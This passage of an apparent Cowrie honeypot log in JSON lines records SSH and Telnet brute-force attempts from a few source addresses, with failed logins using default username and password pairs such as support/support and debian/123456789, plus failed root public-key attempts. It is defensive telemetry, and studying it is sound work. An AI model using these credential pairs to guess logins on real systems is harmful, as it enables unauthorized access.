0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:51.316280Z","src_ip":"193.151.144.93","session":"9e395e1ed5d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:51.805474Z","src_ip":"193.151.144.93","session":"9e395e1ed5d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:53.396137Z","src_ip":"193.151.144.93","session":"9e395e1ed5d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":53476,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3e2a160f96d","protocol":"ssh","message":"New connection: 193.151.144.93:53476 (10.17.0.5:22) [session: c3e2a160f96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:56.559397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:56.567315Z","src_ip":"193.151.144.93","session":"c3e2a160f96d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:56.741194Z","src_ip":"193.151.144.93","session":"c3e2a160f96d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:57.261386Z","src_ip":"193.151.144.93","session":"c3e2a160f96d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:53:58.437575Z","src_ip":"193.151.144.93","session":"c3e2a160f96d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41324,"dst_ip":"10.17.0.5","dst_port":22,"session":"e73b5d8d6f1a","protocol":"ssh","message":"New connection: 193.151.144.93:41324 (10.17.0.5:22) [session: e73b5d8d6f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:02.075150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:02.080976Z","src_ip":"193.151.144.93","session":"e73b5d8d6f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:02.250282Z","src_ip":"193.151.144.93","session":"e73b5d8d6f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123","message":"login attempt [user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:02.759020Z","src_ip":"193.151.144.93","session":"e73b5d8d6f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57538,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0cc600fc23d","protocol":"telnet","message":"New connection: 69.4.83.194:57538 (159.203.135.109:23) [session: e0cc600fc23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:03.017309Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:04.799509Z","src_ip":"193.151.144.93","session":"e73b5d8d6f1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59898,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3077e2bf1e8","protocol":"telnet","message":"New connection: 69.4.83.194:59898 (159.203.135.109:23) [session: c3077e2bf1e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:06.203906Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":41328,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd90300b7708","protocol":"ssh","message":"New connection: 193.151.144.93:41328 (10.17.0.5:22) [session: dd90300b7708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:07.510003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:07.515218Z","src_ip":"193.151.144.93","session":"dd90300b7708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:07.681215Z","src_ip":"193.151.144.93","session":"dd90300b7708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"123456","message":"login attempt [wang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:08.177035Z","src_ip":"193.151.144.93","session":"dd90300b7708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:11.001428Z","src_ip":"193.151.144.93","session":"dd90300b7708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":43194,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bbcaf7f4ebd","protocol":"ssh","message":"New connection: 193.151.144.93:43194 (10.17.0.5:22) [session: 5bbcaf7f4ebd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:13.040686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:13.045869Z","src_ip":"193.151.144.93","session":"5bbcaf7f4ebd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:13.214319Z","src_ip":"193.151.144.93","session":"5bbcaf7f4ebd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.45.12.16","src_port":48722,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ac61ff06e20","protocol":"ssh","message":"New connection: 89.45.12.16:48722 (10.17.0.5:22) [session: 5ac61ff06e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:13.571263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:13.575523Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:13.704708Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"123456789","message":"login attempt [debian/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:13.882736Z","src_ip":"193.151.144.93","session":"5bbcaf7f4ebd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:c0:0a:18:27:1f:0b:06:9b:35:6c:19:bc:c0:91:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8gDUXTFrt47SsoEhf7e623LMmfb3UyjJ1rjStAIL4hVQFeh8srcstTFDCrnxHZ0iAqNvsSmMXsHL7mlQrffZjE3rWicOawqWAl4BS/8W7D9c8XWE2HyaAu5CL9EZI561R6twO8tUsLlSuVvm2MyqgIqdfMO02V00Yhb9LPHrhNNuFCryghEa9BQVSd+C8gRl3Kmg4dhmpqPHzbpftAq57aYM48n8uazkm3KfXm+ZjzBbWEsKVtfzkYwyjjXb1ABqTu1+DhQ+d2qqoEAdMgz3iuhHqFfhQWNE1PgwAa409HadiroAz65mqgWvB/TeM7Ph2IuqrnzwqzrmqO3Ul8yhx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4f:c0:0a:18:27:1f:0b:06:9b:35:6c:19:bc:c0:91:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.294888Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:c0:0a:18:27:1f:0b:06:9b:35:6c:19:bc:c0:91:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8gDUXTFrt47SsoEhf7e623LMmfb3UyjJ1rjStAIL4hVQFeh8srcstTFDCrnxHZ0iAqNvsSmMXsHL7mlQrffZjE3rWicOawqWAl4BS/8W7D9c8XWE2HyaAu5CL9EZI561R6twO8tUsLlSuVvm2MyqgIqdfMO02V00Yhb9LPHrhNNuFCryghEa9BQVSd+C8gRl3Kmg4dhmpqPHzbpftAq57aYM48n8uazkm3KfXm+ZjzBbWEsKVtfzkYwyjjXb1ABqTu1+DhQ+d2qqoEAdMgz3iuhHqFfhQWNE1PgwAa409HadiroAz65mqgWvB/TeM7Ph2IuqrnzwqzrmqO3Ul8yhx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.298091Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:b8:da:e0:41:f1:48:3d:75:2e:7e:5b:e4:ec:8a:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfnkRNRM7mLxMC5n7upw/NHr/7m39FxpmafqV3/iLkspb1eMQh3M/Ykbd9LWHMDmOerx6DtPhyfmN23ShHWJ+RIQMSBxoh72AvhKgoRMwmlY1smoK1qA++vCVoFqEwBzNCb+kHXhBiMmtE2kfqV3BRcW6ic64F/sDsHXL+J85fgRxmkdDGZU86E3Trt2PSrx4lq5f1u1OdhaiCkoXeUH7HljapJ+XGwSAv8XFhRjmOLNNyijVg/BDM5zH1tL/gtBLg8sfHHu7wX1Pui47wnGwZvDrPS5Nilht7fA7tQa+KwOkMD9IRBtaLKCNi5oftDSJ3c1yvEWojU7fkXXIY/dMH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:b8:da:e0:41:f1:48:3d:75:2e:7e:5b:e4:ec:8a:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.420919Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:b8:da:e0:41:f1:48:3d:75:2e:7e:5b:e4:ec:8a:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfnkRNRM7mLxMC5n7upw/NHr/7m39FxpmafqV3/iLkspb1eMQh3M/Ykbd9LWHMDmOerx6DtPhyfmN23ShHWJ+RIQMSBxoh72AvhKgoRMwmlY1smoK1qA++vCVoFqEwBzNCb+kHXhBiMmtE2kfqV3BRcW6ic64F/sDsHXL+J85fgRxmkdDGZU86E3Trt2PSrx4lq5f1u1OdhaiCkoXeUH7HljapJ+XGwSAv8XFhRjmOLNNyijVg/BDM5zH1tL/gtBLg8sfHHu7wX1Pui47wnGwZvDrPS5Nilht7fA7tQa+KwOkMD9IRBtaLKCNi5oftDSJ3c1yvEWojU7fkXXIY/dMH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.424350Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:5a:10:84:74:c9:45:05:f7:c2:f8:66:c3:34:4b:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu2H1l9p/r12EHc6d5LhOEGIXm3Y2q6WrZFYMsHbI+7TwRVjtBhXxWR8GqYXGdOtETEb0uInCwOUy9TK75nNrTp2xLIylcnE8BHfP33aI50dJYw0y5i3yb4WRnHdXec0t2jVLdZa30Wfzn0fuBRqVr4M3EEV9zFljq9mbKwF86Ul8dYxZ2yTSGyKSQjbp/xUaFUQaBhxbv45ByhrHHBXzzz+KmYGNzy69/moAE0JGC3S2qXZkIvQ4Q1Tc/JrHRHCbb92pr3L/JNtnP5BSa9Q+X+cLQcTwtewf7/F1nsDgtUzWzLXPzquNlFIqWBqbkHhPypRciKCGWfZ9NH6Q4+35N","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:5a:10:84:74:c9:45:05:f7:c2:f8:66:c3:34:4b:63","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.548087Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:5a:10:84:74:c9:45:05:f7:c2:f8:66:c3:34:4b:63","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCu2H1l9p/r12EHc6d5LhOEGIXm3Y2q6WrZFYMsHbI+7TwRVjtBhXxWR8GqYXGdOtETEb0uInCwOUy9TK75nNrTp2xLIylcnE8BHfP33aI50dJYw0y5i3yb4WRnHdXec0t2jVLdZa30Wfzn0fuBRqVr4M3EEV9zFljq9mbKwF86Ul8dYxZ2yTSGyKSQjbp/xUaFUQaBhxbv45ByhrHHBXzzz+KmYGNzy69/moAE0JGC3S2qXZkIvQ4Q1Tc/JrHRHCbb92pr3L/JNtnP5BSa9Q+X+cLQcTwtewf7/F1nsDgtUzWzLXPzquNlFIqWBqbkHhPypRciKCGWfZ9NH6Q4+35N","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.552530Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:20:89:e3:49:91:93:81:6d:76:01:64:fe:c4:dc:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbsi+henId6RSjBV9jJn45hs7/ErfhTe7XcR2OKytfh9J5LUmQ0gsmZmeGLvQ8wnFE5gRmGh9jMfKt9crOzya+jphF2daMBcmOXkP1imtZl6GEpEWGLRBjD0fbthJxAAYdaMx29ZEe1HlR4eLVNHTxkCIhAXJf9d9KP0j8jl4MKrFH6kvnOvAp/D09wCHzyjGeJfn2rqxWJkzkpdbfUuZWCelVTbX8GiXnwtiyjTlrsfyWY40M6vVH2IvLm7FR4kQSULdx7quERLiI3NUznWjle5U1a0JeMmxdEQNhl/DNPhuUKDmHDZaXtfCWPmzl28V1HxKVjy+ddRdT3QvW0AHX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:20:89:e3:49:91:93:81:6d:76:01:64:fe:c4:dc:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.676038Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:20:89:e3:49:91:93:81:6d:76:01:64:fe:c4:dc:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbsi+henId6RSjBV9jJn45hs7/ErfhTe7XcR2OKytfh9J5LUmQ0gsmZmeGLvQ8wnFE5gRmGh9jMfKt9crOzya+jphF2daMBcmOXkP1imtZl6GEpEWGLRBjD0fbthJxAAYdaMx29ZEe1HlR4eLVNHTxkCIhAXJf9d9KP0j8jl4MKrFH6kvnOvAp/D09wCHzyjGeJfn2rqxWJkzkpdbfUuZWCelVTbX8GiXnwtiyjTlrsfyWY40M6vVH2IvLm7FR4kQSULdx7quERLiI3NUznWjle5U1a0JeMmxdEQNhl/DNPhuUKDmHDZaXtfCWPmzl28V1HxKVjy+ddRdT3QvW0AHX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.683364Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:78:8f:93:16:3c:9a:7f:5d:b3:36:c5:76:05:e6:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCLP0WK3Yr/T0z0bq/oWTP6ks1c04+kMJJnnIeWUvZtSXIVMRFd2s/V8AfWJWvztPvUW/JKm6Q2zJlALxIKYTv06/qI9rS84pR9FixcA8Udp9X2dwo6UcMpGUNGuPip0ZRjb8RNDWRgen5qUGgYL4qF8Jmm8TjW440b4tWz1rcntvFgFLmHjA6woDprDTGoHoGqr76ZL2jkUqP0FB7GoydfI1opYwqaWJhS9CEx+oLJqtOgiZDxdbD7Ln07NS3q1b0/7uBzHnKlcikHVtN5hLSMQZpipVndsplqlAJIoQPWxPuJ8FZvHhEnKhieEDRTwJjLnBYFHYVILVRPceHVRI4H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:78:8f:93:16:3c:9a:7f:5d:b3:36:c5:76:05:e6:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:54:14.807768Z","src_ip":"89.45.12.16","session":"5ac61ff06e20","protocol":"ssh"}
